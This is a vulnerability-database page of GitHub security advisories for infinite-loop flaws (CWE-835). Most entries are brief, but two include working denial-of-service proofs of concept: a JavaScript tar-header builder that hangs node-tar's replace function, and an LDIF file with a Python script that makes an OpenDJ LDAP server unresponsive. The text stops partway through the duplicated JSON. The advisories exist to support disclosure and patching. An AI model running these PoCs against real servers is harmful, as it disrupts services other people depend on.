Common Weakness Enumeration
CWE-835
AllowedLoop with Unreachable Exit Condition ('Infinite Loop')
Abstraction: Base · Status: Incomplete
The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
1195 vulnerabilities reference this CWE, most recent first.
GHSA-8WQQ-XRHR-W6MF
Vulnerability from github – Published: 2022-05-05 00:29 – Updated: 2022-10-07 18:16
VLAI
Details
perl-Convert-ASN1 (aka the Convert::ASN1 module for Perl) through 0.27 allows remote attackers to cause an infinite loop via unexpected input.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2013-7488"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-04-07T18:15:00Z",
"severity": "MODERATE"
},
"details": "perl-Convert-ASN1 (aka the Convert::ASN1 module for Perl) through 0.27 allows remote attackers to cause an infinite loop via unexpected input.",
"id": "GHSA-8wqq-xrhr-w6mf",
"modified": "2022-10-07T18:16:21Z",
"published": "2022-05-05T00:29:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-7488"
},
{
"type": "WEB",
"url": "https://github.com/gbarr/perl-Convert-ASN1/issues/14"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6V3PJEQOT47ZO77263XPGS3Y3AJROI4X"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ONNQSW4SSKMG5RUEFZJZA5T5R2WXEGQF"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8WV5-X4W7-5GWW
Vulnerability from github – Published: 2026-07-27 12:31 – Updated: 2026-09-02 14:31
VLAI
Summary
Apache Thrift Python, Go, PHP and Java bindings have an Infinite Loop
Details
Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Thrift Python, Go, PHP and Java bindings.This issue affects Apache Thrift: before 0.24.0.
Users are recommended to upgrade to version 0.24.0, which fixes the issue.
Severity
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "thrift"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/apache/thrift"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "apache/thrift"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.thrift:libthrift"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43871"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T14:31:01Z",
"nvd_published_at": "2026-07-27T12:16:44Z",
"severity": "HIGH"
},
"details": "Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027) vulnerability in Apache Thrift Python, Go, PHP and Java bindings.This issue affects Apache Thrift: before 0.24.0.\n\nUsers are recommended to upgrade to version 0.24.0, which fixes the issue.",
"id": "GHSA-8wv5-x4w7-5gww",
"modified": "2026-09-02T14:31:01Z",
"published": "2026-07-27T12:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43871"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/thrift"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/7v3jhgwfbmhx42424phydlnzb109g8b9"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/l4dwf14zbyqsmkc28c99ojj3t3gg9qby"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/07/24/33"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Apache Thrift Python, Go, PHP and Java bindings have an Infinite Loop"
}
GHSA-8X88-C5MF-7J5W
Vulnerability from github – Published: 2026-07-20 21:51 – Updated: 2026-07-20 21:51
VLAI
Summary
node-tar: Negative tar entry size causes infinite loop in archive replace
Details
Summary
A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.
Details
The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.
Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.
For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.
This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.
PoC
Save as poc.mjs in a project with the vulnerable package installed and run:
node poc.mjs
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'
const oct = (b, n, off, len) =>
b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')
const badHeader = () => {
const h = Buffer.alloc(512)
h.write('x', 0)
oct(h, 0o644, 100, 8)
oct(h, 0, 108, 8)
oct(h, 0, 116, 8)
// base-256 encoded -512 in the size field
Buffer.alloc(10, 0xff).copy(h, 124)
h[134] = 0xfe
h[135] = 0x00
oct(h, 0, 136, 12)
h.fill(0x20, 148, 156)
h[156] = 0x30
h.write('ustar\0' + '00', 257, 8, 'binary')
let sum = 0
for (const c of h) sum += c
h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')
return h
}
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')
fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')
const r = spawnSync(
process.execPath,
[
'--input-type=module',
'-e',
`
import * as tar from 'tar'
tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
console.log('completed')
`,
],
{ timeout: 20_000 }
)
console.log(r.error?.code === 'ETIMEDOUT')
// Output: true
Impact
An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.17"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59874"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:51:39Z",
"nvd_published_at": "2026-07-08T16:16:33Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA checksum-valid tar archive with a negative base-256 encoded entry size can make `tar.replace()` loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.\n\n### Details\n\nThe public `tar.replace()` API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.\n\nTar supports base-256 encoded numeric fields. A crafted header can encode the entry size as `-512` while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.\n\nFor a size of `-512`, the computed body skip is `-512`. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.\n\nThis is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.\n\n### PoC\n\nSave as `poc.mjs` in a project with the vulnerable package installed and run:\n\n```bash\nnode poc.mjs\n```\n\n```js\nimport fs from \u0027node:fs\u0027\nimport os from \u0027node:os\u0027\nimport path from \u0027node:path\u0027\nimport { spawnSync } from \u0027node:child_process\u0027\n\nconst oct = (b, n, off, len) =\u003e\n b.write(n.toString(8).padStart(len - 1, \u00270\u0027) + \u0027\\0\u0027, off, len, \u0027ascii\u0027)\n\nconst badHeader = () =\u003e {\n const h = Buffer.alloc(512)\n\n h.write(\u0027x\u0027, 0)\n oct(h, 0o644, 100, 8)\n oct(h, 0, 108, 8)\n oct(h, 0, 116, 8)\n\n // base-256 encoded -512 in the size field\n Buffer.alloc(10, 0xff).copy(h, 124)\n h[134] = 0xfe\n h[135] = 0x00\n\n oct(h, 0, 136, 12)\n h.fill(0x20, 148, 156)\n h[156] = 0x30\n h.write(\u0027ustar\\0\u0027 + \u002700\u0027, 257, 8, \u0027binary\u0027)\n\n let sum = 0\n for (const c of h) sum += c\n h.write(sum.toString(8).padStart(6, \u00270\u0027) + \u0027\\0 \u0027, 148, 8, \u0027ascii\u0027)\n\n return h\n}\n\nconst dir = fs.mkdtempSync(path.join(os.tmpdir(), \u0027tar-loop-\u0027))\nconst file = path.join(dir, \u0027poc.tar\u0027)\n\nfs.writeFileSync(file, badHeader())\nfs.writeFileSync(path.join(dir, \u0027add.txt\u0027), \u0027x\u0027)\n\nconst r = spawnSync(\n process.execPath,\n [\n \u0027--input-type=module\u0027,\n \u0027-e\u0027,\n `\n import * as tar from \u0027tar\u0027\n tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, [\u0027add.txt\u0027])\n console.log(\u0027completed\u0027)\n `,\n ],\n { timeout: 20_000 }\n)\n\nconsole.log(r.error?.code === \u0027ETIMEDOUT\u0027)\n\n// Output: true\n```\n\n### Impact\n\nAn application that calls `tar.replace()` on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.",
"id": "GHSA-8x88-c5mf-7j5w",
"modified": "2026-07-20T21:51:39Z",
"published": "2026-07-20T21:51:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59874"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar: Negative tar entry size causes infinite loop in archive replace"
}
GHSA-8XQW-FXRF-XJ63
Vulnerability from github – Published: 2022-05-13 01:27 – Updated: 2022-05-13 01:27
VLAI
Details
An issue was discovered in cp-demangle.c in GNU libiberty, as distributed in GNU Binutils 2.31. There is a stack consumption vulnerability resulting from infinite recursion in the functions next_is_type_qual() and cplus_demangle_type() in cp-demangle.c. Remote attackers could leverage this vulnerability to cause a denial-of-service via an ELF file, as demonstrated by nm.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2018-18701"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-29T12:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in cp-demangle.c in GNU libiberty, as distributed in GNU Binutils 2.31. There is a stack consumption vulnerability resulting from infinite recursion in the functions next_is_type_qual() and cplus_demangle_type() in cp-demangle.c. Remote attackers could leverage this vulnerability to cause a denial-of-service via an ELF file, as demonstrated by nm.",
"id": "GHSA-8xqw-fxrf-xj63",
"modified": "2022-05-13T01:27:13Z",
"published": "2022-05-13T01:27:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18701"
},
{
"type": "WEB",
"url": "https://gcc.gnu.org/bugzilla/show_bug.cgi?id=87675"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4326-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4336-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-923W-8GR7-5984
Vulnerability from github – Published: 2022-05-13 01:26 – Updated: 2022-05-13 01:26
VLAI
Details
The vmsvga_fifo_run function in hw/display/vmware_vga.c in QEMU allows local guest OS administrators to cause a denial of service (infinite loop and QEMU process crash) via a VGA command.
Severity
4.4 (Medium)
{
"affected": [],
"aliases": [
"CVE-2016-4453"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-06-01T22:59:00Z",
"severity": "MODERATE"
},
"details": "The vmsvga_fifo_run function in hw/display/vmware_vga.c in QEMU allows local guest OS administrators to cause a denial of service (infinite loop and QEMU process crash) via a VGA command.",
"id": "GHSA-923w-8gr7-5984",
"modified": "2022-05-13T01:26:35Z",
"published": "2022-05-13T01:26:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4453"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1336650"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/11/msg00038.html"
},
{
"type": "WEB",
"url": "https://lists.gnu.org/archive/html/qemu-devel/2016-05/msg05270.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201609-01"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/05/30/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/90928"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-3047-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-3047-2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9344-P847-QM5C
Vulnerability from github – Published: 2024-06-26 19:10 – Updated: 2025-07-28 15:38
VLAI
Summary
Low severity (DoS) vulnerability in sequoia-openpgp
Details
There is a denial-of-service vulnerability in sequoia-openpgp, our crate providing a low-level interface to our OpenPGP implementation. When triggered, the process will enter an infinite loop.
Many thanks to Andrew Gallagher for disclosing the issue to us.
Impact
Any software directly or indirectly using the interface sequoia_openpgp::cert::raw::RawCertParser. Notably, this includes all
software using the sequoia_cert_store crate.
Details
The RawCertParser does not advance the input stream when encountering unsupported cert (primary key) versions, resulting in an infinite loop.
The fix introduces a new raw-cert-specific cert::raw::Error::UnuspportedCert.
Affected software
- sequoia-openpgp 1.13.0
- sequoia-openpgp 1.14.0
- sequoia-openpgp 1.15.0
- sequoia-openpgp 1.16.0
- sequoia-openpgp 1.17.0
- sequoia-openpgp 1.18.0
- sequoia-openpgp 1.19.0
- sequoia-openpgp 1.20.0
- Any software built against a vulnerable version of sequoia-openpgp which is directly or indirectly using the interface sequoia_
openpgp::cert::raw::RawCertParser. Notably, this includes all software using thesequoia_cert_storecrate.
Severity
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "sequoia-openpgp"
},
"ranges": [
{
"events": [
{
"introduced": "1.13.0"
},
{
"fixed": "1.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-58261"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-26T19:10:15Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "There is a denial-of-service vulnerability in sequoia-openpgp, our crate providing a low-level interface to our OpenPGP implementation. When triggered, the process will enter an infinite loop.\n\nMany thanks to Andrew Gallagher for disclosing the issue to us.\n\n## Impact\n\nAny software directly or indirectly using the interface `sequoia_openpgp::cert::raw::RawCertParser`. Notably, this includes all\nsoftware using the `sequoia_cert_store` crate.\n\n## Details\n\nThe `RawCertParser` does not advance the input stream when encountering unsupported cert (primary key) versions, resulting in an infinite loop.\n\nThe fix introduces a new raw-cert-specific `cert::raw::Error::UnuspportedCert`.\n\n## Affected software\n\n- sequoia-openpgp 1.13.0\n- sequoia-openpgp 1.14.0\n- sequoia-openpgp 1.15.0\n- sequoia-openpgp 1.16.0\n- sequoia-openpgp 1.17.0\n- sequoia-openpgp 1.18.0\n- sequoia-openpgp 1.19.0\n- sequoia-openpgp 1.20.0\n- Any software built against a vulnerable version of sequoia-openpgp which is directly or indirectly using the interface sequoia_`openpgp::cert::raw::RawCertParser`. Notably, this includes all software using the `sequoia_cert_store` crate.",
"id": "GHSA-9344-p847-qm5c",
"modified": "2025-07-28T15:38:06Z",
"published": "2024-06-26T19:10:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58261"
},
{
"type": "PACKAGE",
"url": "https://gitlab.com/sequoia-pgp/sequoia"
},
{
"type": "WEB",
"url": "https://gitlab.com/sequoia-pgp/sequoia/-/issues/1106"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2024-0345.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Low severity (DoS) vulnerability in sequoia-openpgp"
}
GHSA-93JH-7V3Q-C8C6
Vulnerability from github – Published: 2023-10-12 18:30 – Updated: 2024-04-04 08:35
VLAI
Details
A denial of service vulnerability exists in the DCRegister DDNS_RPC_MAX_RECV_SIZE functionality of SoftEther VPN 4.41-9782-beta, 5.01.9674 and 5.02. A specially crafted network packet can lead to denial of service. An attacker can perform a man-in-the-middle attack to trigger this vulnerability.
Severity
5.9 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-22325"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-12T16:15:10Z",
"severity": "MODERATE"
},
"details": "A denial of service vulnerability exists in the DCRegister DDNS_RPC_MAX_RECV_SIZE functionality of SoftEther VPN 4.41-9782-beta, 5.01.9674 and 5.02. A specially crafted network packet can lead to denial of service. An attacker can perform a man-in-the-middle attack to trigger this vulnerability.",
"id": "GHSA-93jh-7v3q-c8c6",
"modified": "2024-04-04T08:35:44Z",
"published": "2023-10-12T18:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22325"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1736"
},
{
"type": "WEB",
"url": "https://www.softether.org/9-about/News/904-SEVPN202301"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-93QR-H8PR-4593
Vulnerability from github – Published: 2025-03-05 18:33 – Updated: 2025-03-05 18:33
VLAI
Summary
OpenDJ Denial of Service (DoS) using alias loop
Details
Summary
A denial-of-service (DoS) vulnerability in OpenDJ has been discovered that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to "always" on this alias entry, the server stops responding to all future requests.
I have confirmed this issue using the latest OpenDJ version (9.2), both with the official OpenDJ Docker image and a local OpenDJ server running on my Windows 10 machine.
Details
An unauthenticated attacker can exploit this vulnerability using a single crafted ldapsearch request. Fortunately, the server can be restarted without data corruption. While this attack requires the existence of an alias loop, I am uncertain whether such loops can be easily created in specific environments or if the method can be adapted to execute other DoS attacks more easily.
PoC (Steps to Reproduce)
- Set up an OpenDJ server instance as usual, using the base DN
dc=example,dc=com - Import the attached
example_data_alias_dos.ldiffile into the LDAP database - Ensure that the
ldap3Python library is installed (pip install ldap3) - Run the attached Python script
python opendj_alias_dos.py, which searches for alias loops and executes the DoS attack - After executing the script, the server will stop responding to requests until it is restarted
Impact
This vulnerability directly affects server availability for everyone using it. A single ldapsearch request on an alias loop entry can cause the entire server to become unresponsive, requiring a restart. The issue can be repeatedly triggered. The following response message is displayed on following requests:
result: 80 Other (e.g., implementation specific) error
text: com.sleepycat.je.EnvironmentFailureException: (JE 18.3.12) JAVA_ERROR: Java Error occurred, recovery may not be possible.
example_data_alias_dos.ldif
dn: dc=example,dc=com
objectClass: top
objectClass: domain
dc: example
dn: ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: people
description: All users
dn: ou=students,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: students
description: All students
dn: uid=jd123,ou=students,ou=people,dc=example,dc=com
objectClass: top
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
mail: jd123@example.com
sn: Doe
cn: John Doe
givenName: John
uid: jd123
dn: ou=employees,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: employees
description: All employees
dn: uid=jd123,ou=employees,ou=people,dc=example,dc=com
objectClass: alias
objectClass: top
objectClass: extensibleObject
aliasedObjectName: uid=jd123,ou=researchers,ou=people,dc=example,dc=com
uid: jd123
dn: ou=researchers,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: researchers
description: All reasearchers
dn: uid=jd123,ou=researchers,ou=people,dc=example,dc=com
objectClass: alias
objectClass: top
objectClass: extensibleObject
aliasedObjectName: uid=jd123,ou=employees,ou=people,dc=example,dc=com
uid: jd123
opendj_alias_dos.py
import argparse
from ldap3 import Server, Connection, ALL, DEREF_NEVER, DEREF_ALWAYS
from ldap3.core.exceptions import LDAPBindError, LDAPSocketOpenError
def connect_to_ldap(ip, port):
try:
server = Server(ip, port, get_info=ALL)
connection = Connection(server, auto_bind=True)
return connection
except (LDAPBindError, LDAPSocketOpenError) as e:
print(f"Error connecting to LDAP server: {e}")
return None
def find_aliases(connection, base_dn):
try:
search_filter = "(objectClass=alias)"
connection.search(base_dn, search_filter=search_filter, dereference_aliases=DEREF_NEVER, attributes=["*"])
except Exception as e:
print(f"Error during search: {e}")
aliases = {}
for entry in connection.entries:
entry_dn = entry.entry_dn
entry_alias = entry.aliasedObjectName.value
aliases[entry_dn] = entry_alias
return aliases
def detect_alias_loop(aliases):
visited = set()
path = set()
def dfs(alias):
if alias in path:
return alias
if alias in visited:
return None
path.add(alias)
visited.add(alias)
aliased_target = aliases.get(alias)
if aliased_target:
result = dfs(aliased_target)
if result:
return result
path.remove(alias)
return None
for alias in aliases:
if alias not in visited:
loop_alias = dfs(alias)
if loop_alias:
return loop_alias
return None
def execute_dos_search(connection, looping_alias_dn):
try:
search_filter = "(objectClass=*)"
connection.search(looping_alias_dn, search_filter=search_filter, dereference_aliases=DEREF_ALWAYS)
except Exception as e:
print(f"Error during search: {e}")
for entry in connection.entries:
entry_dn = entry.entry_dn
print(entry_dn)
def main():
parser = argparse.ArgumentParser(description="Search LDAP for circular alias references.")
parser.add_argument("ip", type=str, nargs="?", default=None, help="The IP address of the LDAP server.")
parser.add_argument("port", type=int, nargs="?", default=None, help="The port of the LDAP server.")
parser.add_argument("base", type=str, nargs="?", default=None, help="The base DN of the LDAP server.")
args = parser.parse_args()
if not args.ip:
args.ip = input("Please enter the IP address of the LDAP server: ")
if not args.port:
while True:
try:
port_input = input("Please enter the port of the LDAP server: ")
args.port = int(port_input)
break
except ValueError:
print("Invalid input. Please enter a valid integer for the port.")
if not args.base:
args.base = input("Please enter the base DN of the LDAP server: ")
connection = connect_to_ldap(args.ip, args.port)
if connection:
aliases = find_aliases(connection, args.base)
looping_alias_dn = detect_alias_loop(aliases)
if looping_alias_dn:
execute_dos_search(connection, looping_alias_dn)
print(f"DOS executed with alias: {looping_alias_dn}")
else:
print("No looping alias DN found!")
connection.unbind()
if __name__ == "__main__":
main()
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.openidentityplatform.opendj:opendj-server-legacy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-27497"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-05T18:33:30Z",
"nvd_published_at": "2025-03-05T16:15:40Z",
"severity": "HIGH"
},
"details": "### Summary\nA denial-of-service (DoS) vulnerability in OpenDJ has been discovered that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an `ldapsearch` request is executed with alias dereferencing set to \"always\" on this alias entry, the server stops responding to all future requests.\nI have confirmed this issue using the latest OpenDJ version (9.2), both with the official OpenDJ Docker image and a local OpenDJ server running on my Windows 10 machine.\n\n### Details\nAn unauthenticated attacker can exploit this vulnerability using a single crafted `ldapsearch` request. Fortunately, the server can be restarted without data corruption. While this attack requires the existence of an alias loop, I am uncertain whether such loops can be easily created in specific environments or if the method can be adapted to execute other DoS attacks more easily.\n\n### PoC (Steps to Reproduce)\n1. Set up an OpenDJ server instance as usual, using the base DN `dc=example,dc=com`\n2. Import the attached `example_data_alias_dos.ldif` file into the LDAP database\n3. Ensure that the `ldap3` Python library is installed (`pip install ldap3`)\n4. Run the attached Python script `python opendj_alias_dos.py`, which searches for alias loops and executes the DoS attack\n5. After executing the script, the server will stop responding to requests until it is restarted\n\n### Impact\nThis vulnerability directly affects server availability for everyone using it. A single `ldapsearch` request on an alias loop entry can cause the entire server to become unresponsive, requiring a restart. The issue can be repeatedly triggered. The following response message is displayed on following requests:\n```\nresult: 80 Other (e.g., implementation specific) error\ntext: com.sleepycat.je.EnvironmentFailureException: (JE 18.3.12) JAVA_ERROR: Java Error occurred, recovery may not be possible.\n```\n\n**example_data_alias_dos.ldif**\n```\ndn: dc=example,dc=com\nobjectClass: top\nobjectClass: domain\ndc: example\n\ndn: ou=people,dc=example,dc=com\nobjectClass: top\nobjectClass: organizationalUnit\nou: people\ndescription: All users\n\ndn: ou=students,ou=people,dc=example,dc=com\nobjectClass: top\nobjectClass: organizationalUnit\nou: students\ndescription: All students\n\ndn: uid=jd123,ou=students,ou=people,dc=example,dc=com\nobjectClass: top\nobjectClass: inetOrgPerson\nobjectClass: organizationalPerson\nobjectClass: person\nmail: jd123@example.com\nsn: Doe\ncn: John Doe\ngivenName: John\nuid: jd123\n\ndn: ou=employees,ou=people,dc=example,dc=com\nobjectClass: top\nobjectClass: organizationalUnit\nou: employees\ndescription: All employees\n\ndn: uid=jd123,ou=employees,ou=people,dc=example,dc=com\nobjectClass: alias\nobjectClass: top\nobjectClass: extensibleObject\naliasedObjectName: uid=jd123,ou=researchers,ou=people,dc=example,dc=com\nuid: jd123\n\ndn: ou=researchers,ou=people,dc=example,dc=com\nobjectClass: top\nobjectClass: organizationalUnit\nou: researchers\ndescription: All reasearchers\n\ndn: uid=jd123,ou=researchers,ou=people,dc=example,dc=com\nobjectClass: alias\nobjectClass: top\nobjectClass: extensibleObject\naliasedObjectName: uid=jd123,ou=employees,ou=people,dc=example,dc=com\nuid: jd123\n```\n\n**opendj_alias_dos.py**\n```Python\nimport argparse\n\nfrom ldap3 import Server, Connection, ALL, DEREF_NEVER, DEREF_ALWAYS\nfrom ldap3.core.exceptions import LDAPBindError, LDAPSocketOpenError\n\n\ndef connect_to_ldap(ip, port):\n try:\n server = Server(ip, port, get_info=ALL)\n connection = Connection(server, auto_bind=True)\n return connection\n except (LDAPBindError, LDAPSocketOpenError) as e:\n print(f\"Error connecting to LDAP server: {e}\")\n return None\n\n\ndef find_aliases(connection, base_dn):\n try:\n search_filter = \"(objectClass=alias)\"\n connection.search(base_dn, search_filter=search_filter, dereference_aliases=DEREF_NEVER, attributes=[\"*\"])\n except Exception as e:\n print(f\"Error during search: {e}\")\n\n aliases = {}\n for entry in connection.entries:\n entry_dn = entry.entry_dn\n entry_alias = entry.aliasedObjectName.value\n aliases[entry_dn] = entry_alias\n\n return aliases\n\n\ndef detect_alias_loop(aliases):\n visited = set()\n path = set()\n\n def dfs(alias):\n if alias in path:\n return alias\n if alias in visited:\n return None\n\n path.add(alias)\n visited.add(alias)\n\n aliased_target = aliases.get(alias)\n if aliased_target:\n result = dfs(aliased_target)\n if result:\n return result\n\n path.remove(alias)\n return None\n\n for alias in aliases:\n if alias not in visited:\n loop_alias = dfs(alias)\n if loop_alias:\n return loop_alias\n\n return None\n\n\ndef execute_dos_search(connection, looping_alias_dn):\n try:\n search_filter = \"(objectClass=*)\"\n connection.search(looping_alias_dn, search_filter=search_filter, dereference_aliases=DEREF_ALWAYS)\n except Exception as e:\n print(f\"Error during search: {e}\")\n\n for entry in connection.entries:\n entry_dn = entry.entry_dn\n print(entry_dn)\n\n\ndef main():\n parser = 